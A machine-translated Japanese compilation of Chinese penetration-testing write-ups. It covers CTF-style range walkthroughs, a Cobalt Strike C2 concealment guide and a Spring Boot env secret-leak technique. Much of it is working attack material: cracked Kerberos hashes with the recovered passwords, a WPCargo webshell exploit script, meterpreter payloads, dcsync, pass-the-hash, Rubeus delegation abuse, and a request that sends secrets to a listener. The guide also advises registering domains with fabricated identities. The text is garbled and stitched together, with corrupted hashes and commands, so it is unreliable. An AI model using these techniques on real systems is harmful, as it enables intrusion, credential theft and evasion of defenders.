$ KRB5ASREP 23 $ 23 $ wenshao@xiaorang.lab@xiaorang.lab3360b6c410706b5e96c693b2fc61ee1064c3 $ 2dc9fe784e79973333f30c6bc422222222222222222222222BBA94Be7022222222222222e 8C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113 A86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3 E42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892 DA55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB29994

$ KRB5ASREP 23 $ 23 $ ZHANGXIN@XIAORANG.LAB@XIAORANG.LAB:971802B84CE99050AD3C5F49D11FD0B7 $ 6C1BE075C3CF2A7695529DE2E2EBB39C3C3C3C3C3C3C3C39C5C5C7E5326C926C91DAC26C926C926C91DAC26C9 9892F76BEFE52C860E4E1E2FF6537A5765A6BCB6B8BACA792D60765AC0BBE1B3C5E59F3 EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC41167 7BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D825B38 28744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C6805915163 54460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC94103F59D9511691090928E98D0D8978F51E71FD9DB0067FA0928E928E98E98D0D8978F510FATATATATATATATATAITA Hashcatを使用して復号化します

Hashcat -M 18200 - Force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af4 18C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113A 86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3E 42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892D A55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB2994 ' Rockyou.txt 1049983-20230307110606793-1960228635.pnghashcat -m 18200 - force -a 0 '$ KRB5ASREP $ 23 $ $ ZHANGXIN@Xiaorang.lab@Xiaorang.LAB:971802B84CE999050AD3C5F49D11FD0B7 $ 6C1BE075C3C3C3CF2A76955529DE2EBBF39C5C5EC7E5326C926C91891DAC7E5326C91891DAC7E51891DAC7E5326C91891DAC7E526C9189189189189 b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e 59F3EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC 411677BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D 825B3828744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C680 591516354460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC 94103F59D9511691090928E98D0D8978F511E71FD9DB0067FA0D450C120F3726918D7 '' Rockyou.txt 1049983-20230307110607685-1928545708.pngこの方法では、2つのアカウントとパスワードを取得しました

zhangxin@xiaorang.lab/strawberry

wenshao@xiaorang.lab/hellokitty

ドメイン環境分析

ドメインアカウントでログイン172.22.6.25、データ収集のためにSharphoundをアップロード

1049983-20230307110608564-1306420426.pngSharphound.exe -Cすべてのエクスポートファイルには複数のJSonが含まれており、ドメイン内のさまざまな関係を節約します

1049983-20230307110609478-1506458586.pngデータをブラッドハウンドにアップロードし、分析をクリックして、ドメイン管理者への最短パスを見つけます

ドメイン管理者への最短のパスを見つける厚から薄いまでのパスは、XXがXXに持っている権限または関係です。したがって、パスは次のとおりです

1049983-20230307110610336-1467436480.png Bloodhoundから、ユーザーYuxuanを行うために必要な次のステップがわかることがわかります

Windows自動ログイン

Hassession:ユーザーがコンピューターでセッションを行っている場合、資格情報はメモリに保持され、YuxuanがWin2019にログインしたことを示します

多くのユーザーは、自動的にログインするコンピューターのセットアップに使用されており、MSFを使用してユーザー名とパスワードを自動的にログインすることができます。

ポジティブシェルになります

msfvenom -p Windows/MeterPreter/bind_tcp -f exe -o shy.exeその後、ターゲットマシンWin2019(172.22.6.25)にアップロードして実行して実行します

プロキシと接続を使用してMSFを実行します

Exploit/Multi/Handlerを使用します

ペイロードWindows/MeterPreter/bind_tcpを設定します

RHOST 172.22.6.25を設定します

1049983-20230307110611400-894446148.pngを実行して、自動ログインのパスワードをクロールします

MeterPreter Run Run Windows/Graching/Credentials/Windows_Autologin 1049983-20230307110612244-1529844444.pngここでパスワードをキャッチしておらず、続行できませんでした。

他の人のWPが続行するのを見続ける方法はありません。

パスワードをつかんでYuxuan/Yuxuan7Qbrgz3lを入手してください。

1049983-20230307110613213-1178765707.png

ハッシュパス

Hassidhistory:ユーザーのSID履歴。ユーザーがドメインに移行した後、チケットには前のドメインが配置されているグループのSIDも含まれています。ユーザーは以前のドメインに属していませんが、以前のドメインへの許可がまだあります。

Yuxuanを使用して、管理者のハッシュをキャプチャします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110614013-1199004682.png

プロキシチャインCrackmapexec SMB 172.22.6.25 -U Administrator -H04D93FD6F5F6E4490E0DE23F40A5E9 -D XIAORANG.LAB -X 'タイプユーザー\ Administrator \ Administrator \ flag \ flag03.txt' https://zhuanlan.zhihu.com/p/582525371

命令

Brute4roadは、中程度の難易度のある射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Redis、Brute Force、SMB、特権標高、ドメイン浸透

最初のフラグ

Redis Master-Slave Copy RCE

fscan入学IPをスキャンします。次の入学IPが変更された場合、それは再起動環境のために、プロセスに問題はありません。

1049983-20230307110358384-1535054715.png不正なレディスが見つかり、書き込み計画のリバウンドシェルがテストされました。許可がないことが促されました。 Redis Master-SlaveコピーRCEを正常にコピーします

1049983-20230307110359449-350645622.png

suidエスカレーション

ユーザーはRedisの権利を引き上げる必要があります。 SUIDを使用して権利を上げます。次のコマンドを実行できます。詳細については、suidを表示してLinuxシステムの権利を上げることができます1

/-user root -perm -4000 -print 2/dev/nullを見つけます

find/-perm -u=s -type f 2/dev/null

/-user root -perm -4000 -exec ls -ldb {}を見つける;1049983-20230307110400345-2096403480.pngBase64には、SUID許可があります。 Base64を介してローカルファイルを読み取り、最初のフラグを取得するために出力できます

base64 '/home/redis/flag/flag01' | base64 - デコード1049983-20230307110401155-925199797.png

2番目のフラグ

wpcargo不正rce

ポータルIPのサーバーにプロキシを設定し、イントラネットスキャンを実行し、wegetを介してNPCとFSCANをアップロードします

pingを開始します

(ICMP)ターゲット172.22.2.18は生きています

(ICMP)ターゲット172.22.2.34は生きています

(ICMP)ターゲット172.22.2.3は生きています

(ICMP)ターゲット172.22.2.7は生きています

(ICMP)ターゲット172.22.2.16は生きています

[*] ICMP Alive Hosts Len IS: 5

172.22.2.2.16:445オープン

172.22.2.2.34:445オープン

172.22.2.3:445オープン

172.22.2.2.183360445オープン

172.22.2.16:139オープン

172.22.2.34:139オープン

172.22.2.3:139オープン

172.22.2.34:135オープン

172.22.2.16:135オープン

172.22.2.18:139オープン

172.22.2.3:135オープン

172.22.2.16:80オープン

172.22.2.3:88オープン

172.22.2.2.18:22オープン

172.22.2.7:80オープン

172.22.2.7:22オープン

172.22.2.2.733606379オープン

172.22.2.16:1433オープン

172.22.2.7:21オープン

172.22.2.2.18:80オープン

[*] Alive Ports Len IS: 20

Vulscanを開始します

[+] NetInfo:

[*] 172.22.2.16

[ - ] mssqlserver

[ - ] 172.22.2.16

[*] 172.22.2.34 Xiaorang \ client01

[*] 172.22.2.16(Windows Server 2016 Datacenter 14393)

[+] NetInfo:

[*] 172.22.2.3

[ - ] DC

[ - ] 172.22.2.3

[*] webtitle:3333http://172.22.2.16 code:404 len:315 title:notが見つかりました

[+] NetInfo:

[*] 172.22.2.34

[ - ] client01

[ - ] 172.22.2.34

[*] webtitle:333333333333:200 len:4833 title:welcome to centos

[*] 172.22.2.16 Xiaorang \ MSSQLSERVER WINDOWS SERVER 2016 DATACENTER 14393

[*] 172.22.2.3 [+] DC Xiaorang \ dc Windows Server 2016 Datacenter 14393

[*] 172.22.2.18ワークグループ\ ubuntu-web02

[*] 172.22.2.3(Windows Server 2016 Datacenter 14393)

[+] FTP: //172.22.2.2.73360213360Anonymous

[-]パブ

[*] webtitle:333http://172.22.2.18 code:200 len:57738 title:

プロキシチェーンWPSCAN -URL http://172.22.2.18 1049983-20230307110402168-1038472832.png WPCargoプラグイン、関連する脆弱性の検索、および不正なRCEの脆弱性があることがわかります

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

1049983-20230307110402965-813650361.pngImport sys

binasciiをインポートします

リクエストをインポートします

#これは、ピクセルとして扱われ、PNGを使用して圧縮される魔法の弦です

#アルゴリズム、原因は?=$ _ get [1]($ _ post [2]); PNGファイルに書き込まれます

ペイロード='2F49CF97546FC24152B216712546F112E29152B1967226B6F5F50'

def encode_character_code(c: int):

return '{:08b}'。形式(c).replace( '0'、 'x')

text='' .join([encode_character_code(c)for c in binascii.unhexlify(payload)])[1:]

Destination_url='http://172.22.2.18/'

cmd='ls'

#1/11スケールで、 '1はシングルホワイトピクセルとしてエンコードされます' xはシングルブラックピクセルとして。

requests.get(

F '{Destination_url} wp-content/plugins/wpcargo/include/barcode.php?text={text} sizeFactor=.090909090909Size=1filepath=////www/html/webshell.php'

))

#ウェブシェルをアップロードしました - 次に、それを使用してコマンドを実行しましょう。

print(requests.post(

f '{Destination_url} webshell.php?1=system'、data={'2': cmd}

).content.decode( 'ascii'、 'agnore'))shellを生成します

http://172.22.2.18/webshell.php?1=システム

post:2=whoami 1049983-20230307110403759-1226503060.pngアリの剣に接続し、タイプに注意を払い、CMDlinuxを選択します(これは多くの時間を無駄にし、ツールに精通していません)

1049983-20230307110404544-1755873580.pngデータベースの構成と接続を表示します

1049983-20230307110405448-1709834423.png 2番目のフラグを見つけます

1049983-20230307110406190-537113638.png

3番目のフラグ

パスワードを保存するためのテーブル

1049983-20230307110407012-1016357418.png

mssqlserver rce

データベースに入ったばかりのパスワードテーブルを使用してMSSQLを爆破してパスワードを取得します

1049983-20230307110407761-264141218.png倍数を使用して接続します。database.utilization.toolsツール

最初にOLEオートメーション手順コンポーネントをアクティブにしてから、SweetPotato.exeをアップロードして権限を高め、システムの許可を取得します

1049983-20230307110408557-1385769716.pngC:/users/mssqlserver/desktop/sweetpotato.exe -a 'netstat -ano' 1049983-20230307110409338-1429948219.png発見3389はオープン、直接ユーザー、リモート接続を直接追加します

ネットユーザーdevyn admin123 /add

ネットローカルグループ管理者devyn /add1049983-20230307110410189-1297694899.pngリモート接続が成功しました

1049983-20230307110411000-98762776.png 3番目のフラグを取得します

1049983-20230307110411923-340307306.png

‍ 4番目のフラグ

ドメイン浸透

Mimikatzを使用して、ドメインユーザーのハッシュをクロールします

1049983-20230307110412739-899773243.pngドメインユーザーから取得したハッシュは78A2811AABD79D0DA3CEF84903CA3E6です。

制約付き委任攻撃

MSSQLServerマシンは、DC LDAPおよびCIFSサービスへのバインディング委任で構成されています

まず、Rubeusを介してMssqlServerのマシンアカウントMSSQLSERVERのTGTを申請します。実行後、Base64暗号化されたTGTチケットを取得します。

rubeus.exe asktgt /user:mssqlserver $ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:dc.xiaorang。 S4U2自己拡張ドメイン管理者管理者を表して、ドメインコントロールLDAPサービスのチケットをリクエストし、結果のチケットをメモリに渡す

rubeus.exe S4U /ImpersonateUser:ADMINISTRATOR /MSDSSPN:LDAP/DC.XIAORANG.LAB /DC:DC.XIAORANG.LAB /PTT /Ticket:Doifmjccbzagawibbaedagewooieqzccbkdhggsjmiien6adagefoq4bdfhjqu9squ5hlkxbqqihmb+gawibaqymbybbmtyynrndbsmeglh B3JHBMCUBGFIO4IEYZCCBF+GAWIBEQEDAGECOOIEUQBE3JOMEUPBK3C69YAGUYDCLGYHRYVJZG4ZXERWUSWVFS0KZ+4Q2UTCKGQYW3GLS5SF0/MJ0FHIL1V 8u5wrlpgr5hblyugn+g1zmv3uitxo7qobxh0lr0duukundpoxdpdx26liz5/xddfvz4xtymkdqqrxgbwqggjh1cp/woy4u4txjo+l8cfq424kgdb3n/rjyrn y54m8qhl/smhg3ppmgtt2feij5jag+qdpm/r/xuoijhnzsfcvi2xilgqpf374jubih99utzvlqroshz9qljzlbseaqen9ctu01tmnnn4acrz4mqmv1mmyv9scfe jnqbcpgds+zvesrt53dwfotrg00o4jq6rgr9dr/6zmkc1w/kfwsxdf1b/h3homm7hzk0qlfsbdtq8i1e2ffdz5kyovbbtae6iraizzk7scds4ro9rrsdl6bna V25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBU UQBZSA/6BBMANXVFKX1B8XVIT0RQ1I/PLKS9LKWTKYUHJD67Z6XDDRN7IWR0FSTYQGUVHPN391L02ZNUJRK5/7JYOYKWHQ3SB/XRZC4YGGIMMGRZ0FQRQ+ hrbqbtunr2/i4hgywdlubsevz5qb1kxcebrkwuchhpgktsdbyz30tnpa0w2qwu8qj8zkks04r2hj91lcpudabrjhjff/und+++fhcfylau0xzmur8ekua2lcv 0FEF2IGVIU38BCRVUJFGKH423FGPSR4XOM8/8LNWHU+KAAIGSWSER8UGR8UGR8JIDVJTMGF5SCFOQDM+KVJ5O0ZNETTUHJHCVMADLI1QTQ5WJQRIEA6U4D6BYSHI 43IPS6SO8HECSB/03FPOKR/SRUYVEALW3IAWAJTAPTW/SRZUELXEEMVG2AADTL1 QXNW04A04A04A04A04A04A04A04A04AMI3PXJVSYCJYVIDWAZTHGBQOM3FHLZ4ZPZP blfbkagxqr624yo5yiajbl9/dp4m7iauibo7kawcfka1iafkygdfgaxudab52dt72jw0/qpelp08rordlty8irpjkazhssguvyuky07lr+ck95mekfdnl8cw AKW0MB8F92N4G4OFWQBUJK/479LYMZBDG38IWHHV/MLIACHLHM5NAZAY0JXJ2CEQIVSAFLFM7GP23V55HJ/T+EKT0ZD3EIJNHUWBVVVVVVVVVVVVVVVVVVVVVVVVVVVVHYEVKKCFJZGRALLQXA ptmkhhgila+wtkvcxpqx6qx8b40pg9r1rr4zq9bupb4jnnqwhe5sigpurr02xv5fuiii9qc5 //buhxceoxi0tfasrbghayna/tlrvak drqqrpitm1en79jsnw6adh1curfjr ++ ps6zyx6yqk3dlj5piiy2oavlpipcn1zmbz+jgdowgdegawibakkbzwsbzh2bytcbxqcbwzcbwdcbvaabmgmgawibf6 esbbbaxglfzni5hheocpajfdneoq4bdfhjqu9squ5hlkxbqqqizmbegawibaaeqma4bde1tu1fmu0vsvkvsjkmhawuaqoeaakurga8ymdiymtymizm1q mergpmjaymjewmjimjiymznapxeydziwmjixmta0mtiymjmzwqgogwxysufpukfukfory5mqukpitafoamcaqkkhgdawgwzrcmj0z3qbdhhpyw9yw5nlmxhyg==1049983-20230307110414821-1062055162.png LDAPサービスには、ドメイン内のユーザーのハッシュをエクスポートするDCSYNC許可があります

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator' exit 1049983-20230307110415741-286475972.png

wmi水平

ドメイン管理のハッシュを取得した後、WMIサービスを介してドメインコントロールにログインできます。

Python wmiexec.py -hashes 00000000000000000000000000000000000000000000000000000033601A19251FBD935969832616366AE3FE62管理者@172.222.2.3 1049983-20230307110417054-2127057906.png 4番目の旗を入手する

1049983-20230307110417858-348981547.png

別の方法

ハッシュによってドメイン制御を直接取得できます。ここでは、CrackMapexecを使用してPTHを実行します

プロキシチェーンCrackmapexec SMB 172.22.2.3 -U Administrator -H1A19251FBD935969832616366666666666662 -D Xiaorang.lab -x 'タイプユーザー\管理者\ Administrator \ flag \ flag04.txt' https://zhuanlan.zhihu.com/p/581577873

ツールの準備

外国人サーバー

無料クジラ(VPN)

CS 4.4

nginx

csサーバー構成

サーバーpingが無効になっています

1.サーバーPingが無効になっている場合、ホストが非アクティブであることを特定の観点から決定できます。

2。ファイル /etc /sysctl.confを編集し、それに行を追加します。 net.ipv4.icmp_echo_ignore_all=1

次に、ミッションコマンドSYSCTL -Pにより、構成が有効になります。

vim /etc/sysctl.conf

net.ipv4.icmp_echo_ignore_all=1

sysctl -p

1049983-20230227144827835-1460586883.jpg

3。その後、pingはpingできません。このようにして、NMAPはサーバーをスキャンして生き残ることができます。

1049983-20230227144828724-887380428.png

ポートを変更

1。TeamServerファイルを編集し、50050を検索し、任意のポートに変更すると、65000に変更されます

VIM TeamServer 1049983-20230227144829610-877637485.jpg

2。保存して終了し、TeamServerを開始し、ポートが変更されたことを確認します。

./TeamServer XX.XX.XX.XX Xiao

1049983-20230227144830703-410050090.jpg

デフォルトの証明書を変更

1。CSサーバーによって生成された証明書には、CSのすべての関連特性が含まれているため、ここに変更され、置き換えられます。それを変更するには2つの方法があります。つまり、キーストアを生成してスタートアップファイルを変更します。どちらに関係なく、元のファイルCobaltStrike.storeを削除する必要があります。

方法1キーストアファイルCobaltstrike.store(推奨)

を削除します

1。新しいキーストアファイルを生成します

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoreType PKCS12

1049983-20230227144831550-104496929.jpg

2。証明書を確認してください

keytool -list -keystore cobaltstrike.store 1049983-20230227144832343-1207281071.jpg3。サーバーを起動して、証明書の署名が同じかどうかを確認し、確認後も証明書署名が同じかどうかを確認します。

1049983-20230227144833138-1324654750.jpg

方法2スタートアップファイルを変更

1。TeamServerは、CSSサーバーを起動する起動ファイルです。キーストアの検出など、環境検出部分があります。このパートを書く方法は、キーストアを検出できない場合、コマンドを使用して新しいキーストアを生成し、ここで生成されたコマンドを変更することです。

2。TeamServerで囲まれた部品を変更する必要があります

1049983-20230227144834432-2038016818.jpg

3.次のコンテンツに変更します。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

1049983-20230227144835487-2027217953.jpg

4.元の./cobaltstrike.store keystoreファイルを削除し、次に開始すると、新しいキーストアファイルが自動的に生成されます。

RM -RF CobaltStrike.store

cdn

で非表示にします

無料ドメイン名

を適用します

1。Freenom公式ウェブサイトを入力し、中国語を翻訳し、下部に引っ張り、開発者を選択します。

1049983-20230227144836612-1216181926.jpg

2。下部に引っ張り、今日クリックしてランダムドメインアカウントを取得します

1049983-20230227144837421-401393924.jpg

3.国際的なメールアドレスを入力し、[メールアドレスの確認]をクリックします。一時的なメールアドレスを使用することをお勧めします。

1049983-20230227144838184-1636008870.jpg

4。数秒後、メールが届きます。電子メールをクリックして、確認をクリックして、Freenom Webサイトにジャンプします。現在のWebページを翻訳した後、[開発者]をクリックします。

1049983-20230227144839006-1381884576.jpg

5.ウェブサイトを最後まで引っ張り、中国語を翻訳し、クリックしてランダムドメインアカウントをすぐに取得します。

1049983-20230227144839826-1580750123.jpg

6.次に、個人情報充填ページにご覧ください

1049983-20230227144840800-1795941883.png

7. IPで選択されたアドレスはフロリダであるため、フロリダの個人情報ジェネレーターと個人情報ジェネレーターを使用する必要があり、2つを組み合わせる必要があります。

1049983-20230227144841675-865336806.jpg 1049983-20230227144842587-547291091.jpg

8。ジェネレーターに従って情報を入力してください。記入した後、チェックしてクリックして注文を完了します。アカウントは正常に登録されています。

1049983-20230227144843337-1650934063.jpg 1049983-20230227144844087-253020840.jpg

9. Webサイトのホームページに戻り、ドメイン名を選択し、xxx.tkを入力し、[可用性]をクリックし、利用可能な場合はチェックアウトをクリックします。

1049983-20230227144844825-600153102.jpg

10. 12か月間の無料版を選択し、最後に[続行]をクリックします。

1049983-20230227144845602-1239189976.jpg

11。最終注文

1049983-20230227144846398-62631944.jpg 1049983-20230227144847138-956029880.jpg

12.ドメインを選択して、ドメイン名が生きていることを確認します。

1049983-20230227144847955-2046821606.jpg

1049983-20230227144848912-1360974677.jpg

CDN構成

1。実際、CDNパーツにはかなりのオプションがあります。ここでCloudFlareを選びました

2。CloudFlareにログインしたら、[サイトの追加]を選択します

1049983-20230227144849797-584795960.jpg

3.無料プランを選択します

1049983-20230227144850575-1858358753.jpg

4. DNSレコードを追加し、保護するIPとレコードを入力します。

1049983-20230227144851699-664827035.jpg

5. xxx.tkのDNSサーバーをCloudFlareに変更します。変更が完了した後、有効になるには一定の時間がかかります

1049983-20230227144852553-675923245.jpg 1049983-20230227144853458-201526483.jpg 1049983-20230227144854220-1629371275.jpg

6.自動HTTPSをオフにして書き直し、常にHTTPSとBroti圧縮を使用します

1049983-20230227144854987-1863074172.jpg

7. [完了]をクリックします

1049983-20230227144855745-1923565084.jpg

8.次のインターフェイスが表示され、設定が有効になります。 CloudFlareを使用して、ドメイン名の解像度操作を実行できます。

1049983-20230227144856530-714652068.jpg

9. www.xxx.tkを分析してテストします

1049983-20230227144857198-628058662.jpg

10。グローバルpingを使用して、CDNが正常に追加されたことがわかりました

1049983-20230227144858256-1387941751.jpg

11.完了するようにSSL/TLS暗号化モードを構成します

1049983-20230227144859102-1493880580.jpg

CloudFlareは証明書を生成します

1。SSL/TLS-Source Serverを見つけて、CloudFlareのDashページで証明書を作成し、それぞれパブリックキーとプライベートキー、つまりServer.PEMとServer.Keyをそれぞれ保存します。生成中に保存する必要があります。そうしないと、秘密鍵が見つからない場合があります。

1049983-20230227144859811-609125808.jpg

2。証明書を申請してキーストアをパッケージ化し、証明書をパッケージ化し、ストアファイルを生成します。

openSSL PKCS12 -EXPORT -IN SERVER.PEM -INKEY SERVER.KEY -OUT www.xxx.tk.p12 -Name www.xxx.tk -passout pass:123456

//keytoolを使用して、CS利用可能なストア形式で証明書ペアを生成します

keytool -imporekeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoreType PKCS12 -SRCSTOREPOREPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASS

1049983-20230227144900727-1863377161.jpg

3。証明書をHTTPSリスニング方法に構成します。申請した証明書を使用する場合は、「可鍛性C2プロファイル」メソッドを使用して操作する必要があります。ここでは、cloudflare.profileを例として取ります。 CSディレクトリに生成されたキーfile.storeを配置し、cloudflare.profileを証明書構成に追加する必要があります。注意する必要があるのは、HTTPS-ティフィフィクションが証明書関連の構成であることです。他のclient.headerのホスト値は、適用したドメイン名である必要があり、他の部分は個人的な状況に従って構成する必要があります。

//上記のStore証明書をTeamServerディレクトリにコピーします

cp ./www.xxx.tk.store/opt/cs44/

//cloudflare.profileファイルを作成します

Vim CloudFlare.Profile

//cloudflare.profileファイルコンテンツ

https-certificate {

keystore 'www.xxx.tk.store'を設定します。

パスワード「123456」を設定します。

}

http-stager {

set uri_x86 '/api/1';

set uri_x64 '/api/2';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';}

サーバー{

出力{

印刷;

}

}

}

http-get {

set uri '/api/3';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

メタデータ{

base64;

ヘッダー「クッキー」;

}

}

サーバー{

出力{

印刷;

}

}

}

http-post {

set uri '/api/4';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

id {

uri-append;

}

出力{

印刷;

}

}

サーバー{

出力{

印刷;

}

}

} 4。構成ファイルに問題があることを確認してください。以下は、検証のための構成に成功しています(現在のディレクトリにはcobaltstrike.jarが必要です)

//新しいc2lintファイルを作成します

VIM C2LINT

//c2lintファイルコンテンツ

Java -xx:parallelgcthreads=4 -xx:+useparallelgc -classpath ./cobaltstrike.jar c2profile.lint $ 1

//構成ファイルに問題があるかどうかを確認します

./c2lint cloudflare.profile

0x1情報

tag:

MSSQL、特権エスカレーション、Kerberos、ドメイン浸透、RDP image

範囲アドレス:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu

0x2 recon

ターゲット外部IP47.92.82.196nmap SA:1QAZ!QAZ image

0x3エントリポイントmssql -172.22.8.18

序文、このマシンはドメインMSSQLシェルに直接はありません(ここでスクリーンショットを撮るのを忘れていました.)

getClsid.ps1を変更し、実行ポテトimageを追加します

ジャガイモとgetclsid.ps1 image

getclsid.ps1 imageを実行します

有効なCLSIDおよびコマンド実行結果image Export SAM、System、Security imageを取得する

資格情報を解決し、管理者+ psexec 139を水平に使用して(外部ネットワークは445を開けません)flag01administrator 2CAF35BB4C5059A3D50599844E2B9B1F image550-69510に来るマシンを把握するためにポート接続image管理者PSEXECを使用してMSF(システム許可)、Incognitoモジュールを使用し、Johnをシミュレートします(MSFのIncognitoのみが後続の操作を完了することができるとテストしました。image \\ tsclient \ cの下の資格情報を直接取得し、ハイジャック画像をプロンプト(ミラーハイジャック)xiaorang.lab \ aldrich:ald@rlmwuy7z!#image cme scan scan scan scan scan scan scan scan skip the cme scan skip the cme scan skip the cme scan scanマシンは、パスワードの有効期限が切れていることを促します。imageテストDC01ポート88が有効であるかどうか(ドメイン制御がドメインコントロールであるかどうかをテスト)、DC01はドメインコントロールSMBPASSWD.py 111QQQQQをリモートで変更し、imageLDAPSHELL.PYAFIFACIAL、LOGIN DOMAN列挙RDPは、172.22.8.46をログインして入力できることを示しています(公式のCME RDPモジュールを使用して、有効なRDP資格情報をスキャンしません。XFreerDPに基づいてCMEモジュールを書きました)

Xiaolichan/CrackMapexec-Extension image

0x4ドメイン浸透 - 入り口-172.22.8.46

ログインと表示Xiaorang.lab \ aldrichはこのマシンの管理者ではなく、当局を増やすための普通のユーザーです。 2つの方法

PRIV-ESC1:ミラーハイジャックの標高(一般)

get-aclはレジストリ「HKLM: \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Imageファイルの実行オプション」に書き込み、操作imageを作成できます。

gmagify.exe(拡大ガラス)をハイジャックし、cmd.exeimageを実行するレジストリを作成します

ユーザーimageをロックします

拡大ガラスimageをクリックします

システムimageに権限を向上させます

PRIV-ESC2:Krbrelayupのエスカレーション

ドメイン通常の許可ユーザーは、ドメイン内のマシンを直接(型破り、推奨)

0x5ドメイン浸透-DCテイクオーバー

2つの方法Win2016 $のグループ関係を観察し、それがドメイン管理グループにあることを発見します。 DCSYNCを使用して、DC01を直接奪う(プロセスは省略)image制約委任(型破り)

Bloodhoundはドメイン情報を収集し、分析し、制約委任imageがあることを発見します

getSt.py imageを使用した制約付き委任攻撃

DC01 image

オリジナルリンク:https://www.freebuf.com/articles/system/352237.html

1。 Springboot envに *敏感な情報を取得します

Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。

クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません1049983-20230301123203473-1048483928.jpg参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501

特定の実装プロセス:

たとえば、 PIDパラメーター値を取得したい

'pid':' 10648 '、

post /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 76

eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/

次に、コンテンツを更新し、脆弱性をトリガーします

PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。

投稿/更新http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

サーバーNCがポート2444に耳を傾けると、受信されます

root@kali:/tmp#nc -lvvp 2444

[任意の] 2444で聞く.

Kali [10.20.24.191] 40960から[10.20.24.191]に接続します

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

host: 10.20.24.191:2444

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: BASIC MZGZNDY6BNVSBA==

Authorization: BASIC MZGZNDY6BNVSBA==

